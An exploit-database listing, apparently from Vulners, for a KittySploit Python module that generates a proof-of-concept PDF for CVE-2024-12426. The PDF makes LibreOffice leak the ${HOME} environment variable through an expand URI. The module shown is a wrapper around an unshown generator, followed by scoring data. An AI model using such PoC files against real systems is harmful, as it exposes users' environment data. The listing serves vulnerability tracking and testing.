Lucene search
+L

PDF CVE-2024-12426 LibreOffice Expand URI

🗓️ 10 Jul 2026 11:31:42Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

LibreOffice opens a PDF and leaks the ${HOME} environment variable via Expand URI.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.pdf.mixins import PdfCveMixin
from lib.pdf.generators.viewer_cve import write_libreoffice_expand_uri


class Module(Auxiliary, PdfCveMixin):
    __info__ = {
        "name": 'PDF CVE-2024-12426 LibreOffice Expand URI',
        "description": 'Generate PDF PoC for CVE-2024-12426: vnd.sun.star.expand URI leaks environment variables (${HOME}) via LibreOffice on open.',
        "author": ["KittySploit Team"],
        "cve": ['CVE-2024-12426'],
        "references": ['https://nvd.nist.gov/vuln/detail/CVE-2024-12426'],
        "tags": ['pdf', 'cve-2024-12426', 'libreoffice', 'ssrf', 'env-leak'],
    }

    PDF_GENERATORS = (
        write_libreoffice_expand_uri,
    )

    CVE_IDS = ['CVE-2024-12426']
    MODULE_TITLE = 'PDF CVE-2024-12426 LibreOffice Expand URI'

    def run(self):
        return self.run_pdf_cve()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Jul 2026 11:31Current
6.1Medium risk
Vulners AI Score6.1
CVSS 3.16.5
CVSS 46.7
EPSS0.00549
SSVC
0